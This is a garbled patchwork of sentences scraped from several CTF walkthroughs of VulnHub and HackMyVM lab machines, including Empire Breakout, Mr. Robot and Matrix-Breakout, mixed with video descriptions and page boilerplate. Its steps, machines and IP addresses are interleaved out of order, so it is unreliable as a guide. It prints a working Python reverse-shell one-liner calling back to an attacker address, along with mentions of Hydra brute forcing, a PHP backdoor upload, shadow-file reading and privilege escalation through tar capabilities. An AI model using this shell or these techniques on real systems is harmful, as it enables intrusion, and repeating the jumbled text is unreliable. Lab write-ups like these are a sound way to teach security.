Let us open each file one by one on the browser. First, we need to identify the IP of this machine. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. hacksudo suid abuse We will use the FFUF tool for fuzzing the target machine. The netbios-ssn service utilizes port numbers 139 and 445. https://download.vulnhub.com/empire/02-Breakout.zip. We have identified an SSH private key that can be used for SSH login on the target machine. So as youve seen, this is a fairly simple machine with proper keys available at each stage. rest This completes the challenge. So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. programming This machine works on VirtualBox. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. We downloaded the file on our attacker machine using the wget command. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. We download it, remove the duplicates and create a .txt file out of it as shown below. fig 2: nmap. We identified that these characters are used in the brainfuck programming language. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). I am using Kali Linux as an attacker machine for solving this CTF. In the comments section, user access was given, which was in encrypted form. Testing the password for admin with thisisalsopw123, and it worked. I am using Kali Linux as an attacker machine for solving this CTF. Capturing the string and running it through an online cracker reveals the following output, which we will use. However, for this machine it looks like the IP is displayed in the banner itself. The login was successful as the credentials were correct for the SSH login. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. I simply copy the public key from my .ssh/ directory to authorized_keys. Please try to understand each step and take notes. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. Our target machine IP address that we will be working on throughout this challenge is, (the target machine IP address). The capability, cap_dac_read_search allows reading any files. Other than that, let me know if you have any ideas for what else I should stream! We used the cat command to save the SSH key as a file named key on our attacker machine. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We are going to exploit the driftingblues1 machine of Vulnhub. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. The target machine's IP address can be seen in the following screenshot. So, in the next step, we will be escalating the privileges to gain root access. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. Let's do that. The target machine IP address may be different in your case, as the network DHCP assigns it. pointers We identified a few files and directories with the help of the scan. Defeat all targets in the area. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. Breakout Walkthrough. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ Matrix-Breakout: 2 Morpheus vulnhub.com Matrix-Breakout: 2 Morpheus Matrix-Breakout: 2 Morpheus, made by Jay Beale. First, we tried to read the shadow file that stores all users passwords. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. The hint also talks about the best friend, the possible username. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. The l comment can be seen below. Let us start the CTF by exploring the HTTP port. As we noticed from the robots.txt file, there is also a file called fsocity.dic, which looks to be a dictionary file. Kali Linux VM will be my attacking box. The ping response confirmed that this is the target machine IP address. Prior versions of bmap are known to this escalation attack via the binary interactive mode. We used the Dirb tool; it is a default utility in Kali Linux. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. If you have any questions or comments, please do not hesitate to write. The IP address was visible on the welcome screen of the virtual machine. Walkthrough 1. This means that we can read files using tar. Lastly, I logged into the root shell using the password. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. c In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. I hope you liked the walkthrough. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. We can decode this from the site dcode.fr to get a password-like text. We opened the target machine IP address on the browser. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. Similarly, we can see SMB protocol open. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. We copy-pasted the string to recognize the encryption type and, after that, click on analyze. the target machine IP address may be different in your case, as the network DHCP is assigning it. So, we need to add the given host into our, etc/hosts file to run the website into the browser. Next, we will identify the encryption type and decrypt the string. The Usermin application admin dashboard can be seen in the below screenshot. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Below are the nmap results of the top 1000 ports. The level is considered beginner-intermediate. 18. The enumeration gave me the username of the machine as cyber. We added all the passwords in the pass file. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. sudo netdiscover -r 10.0.0.0/24 The IP address of the target is 10.0.0.26 Identify the open services Let's check the open ports on the target. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. Command used: < ssh i pass [email protected] >>. We changed the URL after adding the ~secret directory in the above scan command. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. The online tool is given below. I hope you enjoyed solving this refreshing CTF exercise. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. WordPress then reveals that the username Elliot does exist. This lab is appropriate for seasoned CTF players who want to put their skills to the test. writeup, I am sorry for the popup but it costs me money and time to write these posts. Let us enumerate the target machine for vulnerabilities. Here, I wont show this step. Firstly, we have to identify the IP address of the target machine. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. Since we can see port 80 is opened, the first thing I always do before running tools such as nikto or gobuster is to look for known pages such as robots.txt. Now, We have all the information that is required. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. Welcome to the write-up of the new machine Breakout by icex64 from the HackMyVM platform. This VM has three keys hidden in different locations. VulnHub Sunset Decoy Walkthrough - Conclusion. command to identify the target machines IP address. In this case, we navigated to /var/www and found a notes.txt. Now, we can read the file as user cyber; this is shown in the following screenshot. Therefore, were running the above file as fristi with the cracked password. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We added the attacker machine IP address and port number to configure the payload, which can be seen below. linux basics On browsing I got to know that the machine is hosting various webpages . After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. This means that we do not need a password to root. The final step is to read the root flag, which was found in the root directory. Let's start with enumeration. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. If you understand the risks, please download! My goal in sharing this writeup is to show you the way if you are in trouble. The second step is to run a port scan to identify the open ports and services on the target machine. Keep practicing by solving new challenges, and stay tuned to this section for more CTF solutions. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. We have terminal access as user cyber as confirmed by the output of the id command. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. We will be using. (Remember, the goal is to find three keys.). Also, make sure to check out the walkthroughs on the harry potter series. It was in robots directory. command we used to scan the ports on our target machine. Nmap also suggested that port 80 is also opened. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. This is fairly easy to root and doesnt involve many techniques. We used the ls command to check the current directory contents and found our first flag. However, we have already identified a way to read any files, so let us use the tar utility to read the pass file. We used the su command to switch to kira and provided the identified password. Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. If you havent done it yet, I recommend you invest your time in it. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. In the highlighted area of the following screenshot, we can see the. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. The comment left by a user names L contains some hidden message which is given below for your reference . As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. There are numerous tools available for web application enumeration. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. It's themed as a throwback to the first Matrix movie. Below we can see netdiscover in action. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. The target machines IP address can be seen in the following screenshot. So, two types of services are available to be enumerated on the target machine. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. We have enumerated two usernames on the target machine, l and kira. We have added these in the user file. Passwords in the banner itself of bmap are known to this section for CTF. Techniques are used against any other targets Group 2023 infosec Institute, Inc directory contents found. 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